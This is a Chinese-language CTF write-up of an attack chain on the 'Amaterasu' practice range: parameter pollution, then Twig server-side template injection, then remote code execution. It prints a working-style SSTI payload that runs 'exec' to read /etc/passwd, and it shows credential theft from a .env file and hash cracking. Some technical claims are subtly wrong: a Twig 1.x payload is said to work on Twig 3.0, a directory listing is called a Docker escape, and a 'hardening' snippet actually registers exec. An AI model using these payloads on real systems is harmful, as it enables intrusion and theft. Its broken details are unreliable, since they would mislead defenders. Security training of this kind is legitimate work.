1. 靶场渗透实战:从400错误到RCE的完整攻击链解析
上周在Amaterasu靶场发现一个有趣的渗透路径:从普通的400 Bad Request错误页面入手,最终实现了远程代码执行(RCE)。这个案例完美展示了Web安全攻防中"小漏洞酿成大事故"的典型场景,今天我就把完整攻击链拆解给大家看。
Amaterasu是近年安全圈内评价较高的CTF靶场之一,其特色是模拟真实企业环境中那些"看似无害"的漏洞组合。这次遇到的400→RCE链涉及HTTP参数污染、服务端模板注入和权限逃逸三个关键环节,全程只需要最基础的cURL和浏览器开发者工具就能完成。下面我会分步骤还原攻击过程,重点说明每个环节的突破思路和防御方案。
2. 环境探测与初始访问
2.1 靶场基本信息收集
首先对目标系统进行基础探测:
curl -I http://amaterasu.target/portal HTTP/1.1 400 Bad Request Server: nginx/1.18.0 X-Powered-By: PHP/7.4.3关键发现:
- 服务器使用Nginx+PHP组合
- 默认返回400错误而非404,说明存在严格的输入验证
- 错误页面包含框架引用:
<!-- Template: /engine/render?v=base_error -->
2.2 400错误的突破点
通过Burp Suite拦截请求,发现当URL包含特殊字符时会触发400错误:
GET /portal?id=1 HTTP/1.1 → 200 OK GET /portal?id=1' HTTP/1.1 → 400 Bad Request但观察到一个异常现象:错误页面会反射输入的URL路径。尝试参数污染攻击:
GET /portal?id=1&render=test HTTP/1.1此时页面底部出现调试信息:
Template rendering failed: variable 'test' not found3. 模板注入漏洞利用
3.1 服务端模板引擎识别
通过报错信息可以确认:
- 使用服务端模板引擎
- 模板变量通过render参数控制
- 未对输入进行过滤
测试模板语法:
GET /portal?id=1&render={{7*7}} HTTP/1.1返回内容包含"49",确认存在SSTI(Server-Side Template Injection)漏洞。
3.2 模板沙箱逃逸
通过枚举常见模板语法,发现系统使用Twig 3.0引擎。构造恶意payload:
# 生成RCE payload payload = "{{_self.env.registerUndefinedFilterCallback('exec')}}" payload += "{{_self.env.getFilter('id')}}"实际请求:
GET /portal?id=1&render={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('cat /etc/passwd')}} HTTP/1.1成功返回系统用户列表,证明RCE实现。
4. 权限提升与后渗透
4.1 受限环境突破
虽然获得命令执行能力,但处于www-data低权限环境。通过以下命令发现Docker逃逸机会:
ls -al /home drwxr-xr-x 1 developer developer 4096 Jun 10 12:34 app-src4.2 敏感信息获取
在开发者目录发现数据库凭证:
cat /home/developer/app-src/.env DB_PASSWORD=Amaterasu2023!使用密码成功登录MySQL数据库,获取管理员账户hash值并通过彩虹表破解。
5. 防御方案与修复建议
5.1 输入验证强化
- 对所有用户输入实施严格白名单验证:
// 正确的参数检查 if(!preg_match('/^[a-z0-9_]+$/i', $_GET['render'])) { die('Invalid parameter'); }- 禁用错误信息中的调试反馈:
# nginx配置 server { error_page 400 /error.html; location = /error.html { internal; } }5.2 模板引擎安全配置
Twig引擎的安全设置示例:
$twig = new \Twig\Environment($loader, [ 'autoescape' => true, 'strict_variables' => true, 'auto_reload' => false ]); $twig->addFunction(new \Twig\TwigFunction('exec', null, ['is_safe' => []]));6. 攻击链复盘与思考
这个案例展示了三个关键点:
- 错误处理不当:400错误暴露了模板路径
- 参数污染漏洞:render参数本应是内部变量
- 沙箱配置缺陷:Twig未禁用危险函数
在实际渗透测试中,我通常会特别注意:
- 所有错误响应的差异分析
- 未文档化参数的系统性测试
- 模板引擎的版本指纹识别
最后分享一个检测SSTI的实用技巧:在参数中插入${7*7}、{{7*7}}、<%= 7*7 %>等常见模板语法,观察响应中是否出现计算结果。不同引擎的测试payload可以参考OWASP的SSTI备忘单。